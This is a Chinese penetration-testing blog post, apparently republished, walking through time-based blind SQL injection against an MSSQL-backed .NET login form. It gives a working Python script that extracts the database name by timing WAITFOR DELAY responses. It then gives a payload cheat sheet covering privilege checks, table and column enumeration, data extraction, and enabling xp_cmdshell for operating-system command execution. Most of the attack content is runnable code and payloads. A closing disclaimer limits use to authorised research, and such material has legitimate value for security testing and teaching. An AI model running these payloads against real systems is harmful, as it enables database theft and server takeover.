文章总结: 本文介绍了MSSQL数据库时间盲注的半手工测试方法,通过登录框测试发现SQL注入漏洞,使用WAITFORDELAY语句确认了时间盲注的存在,并提供了获取数据库名称的Python脚本和多个MSSQL注入常用payload,包括获取数据库名、判断权限、获取表名和字段名等实用技巧,对渗透测试人员有较高的参考价值。
综合评分: 85
文章分类: 渗透测试,WEB安全,漏洞分析
mssql半手工时间盲注
原创
匆匆过客
天启攻防实验室
2025年11月29日 22:10
广东
又是登录框开局
随便输入账号密码,抓个包看看
加个单引号看看有没有反应,报错500,心里暗喜了
2个单引号看看什么反应,返回登录失败
3个单引号呢?很好,又是500,符合预期
4个单引号,返回登录失败,很好,大概率有sql注入
回到前端,看看框架,猜测数据库类型
很好,.net框架,那么数据库大概率就是mssql,试一下mssql经典语句
WAITFOR DELAY ‘0:0:1’–
确实是睡眠了,但是由于是网络稳定或者回复比较慢,所以睡眠时间不同于我们payload的时间,在这里已经可以证明系统存在sql注入,我们现在只需要掏出82年的脚本跑mssql第一个数据库。一般只要不修改默认数据库名称,第一个数据库就是master。
我这里就利用脚本跑了
Ok果然是master,写报告走人
import requests
import time
url = ‘xxx’ # 这里必须是你自己的靶机地址
headers = {
“User-Agent”: “Mozilla/5.0”,
“Accept”: “*/*”,
“Accept-Language”: “zh-CN,zh;q=0.8”,
“Content-Type”: “application/x-www-form-urlencoded; charset=UTF-8”,
“X-Requested-With”: “XMLHttpRequest”
}
flag = ”
for i in range(1, 250):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = (
“admin’;IF(ASCII(SUBSTRING((SELECT TOP 1 name FROM master.dbo.sysdatabases),”
f”{i},1))>{mid}) WAITFOR DELAY ‘0:0:1’–“
)
data = {
“UserName”: payload,
“UserPassword”: “test”
}
start = time.time()
requests.post(url, headers=headers, data=data)
delay = time.time() – start
if delay >= 2:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid in (32, 127):
break
flag += chr(mid)
print(flag)
附mssql常用payload
//获取当前数据库名
IF (ASCII(SUBSTRING(DB_NAME(),1,1))=117) WAITFOR DELAY ‘0:0:5’–
//获取第一个数据库名称
IF(ASCII(SUBSTRING((SELECT TOP 1 name FROM master.dbo.sysdatabases), {i}, 1)) > {mid})
WAITFOR DELAY ‘0:0:1’–
//判断权限
and 1=(select is_srvrolemember(‘[sysadmin]’))
//判断是否为MSSQL数据库
id=1 and exists(select * from sysobjects) #返回正常为mssql
id=1 and exists (select count(*) from sysobjects) #用法和上面的相同
//判断数据库版本号
id=1 and @@version>0
//判断当前角色是否拥有比较高的权限
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) ]
and 1=(select IS_SRVROLEMEMBER(‘serveradmin’)) ]
and 1=(select IS_SRVROLEMEMBER(‘setupadmin’)) ]
and 1=(select IS_SRVROLEMEMBER(‘securityadmin’)) ]
and 1=(select IS_SRVROLEMEMBER(‘diskadmin’)) ]
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’)) ]
//判断当前角色是否为DB_OWNER
and 1=(select is_member(‘db_owner’))
//获取当前用户名字
and user_name()>0
//获取其他数据库
and (select top 1 Name FROM Master.dbo.SysDatabases)
//判断表名
and 1=(select top 1 name from test.sys.all_objects where type=’U’ AND is_ms_shipped=0)
//判断其他表名
1′ and (select top 1 name from test.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘排除的表明’))=1–
//获取字段名
and 1=(select top 1 column_name from information_schema.columns where table_name=’表名’)
//获取所有字段名:利用not in依次遍历出所有字段名
and (select top 1 column_name from information_schema.columns where table_name=’表名’ and column_name not in(‘排除的列名1′,’排除的列名2′,’排除的列名3’))=1
//获取数据
and 1=(select top 1 字段名 from 表名 ))
//统计表中有多少条记录
and 1=convert(int,char(58)%2bchar(58)%2b(select top 1 cast(count(*) as nvarchar(4000)) from 表名)%2bchar(58)%2bchar(58)))
//判断xp_cmdshell是否存在
and 1=(select count(*) from master.dbo.sysobjects where xtype = ‘x’ and name = ‘xp_cmdshell’) 页面回显正常 则证明拥有sa权限
//开启 xp_cmdshell
exec sp_configure ‘show advanced options’, 1;reconfigure;
exec sp_configure ‘xp_cmdshell’,1;reconfigure;
//关闭 xp_cmdshell
exec sp_configure ‘show advanced options’, 1;reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;reconfigure
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:天启攻防实验室 匆匆过客《mssql半手工时间盲注》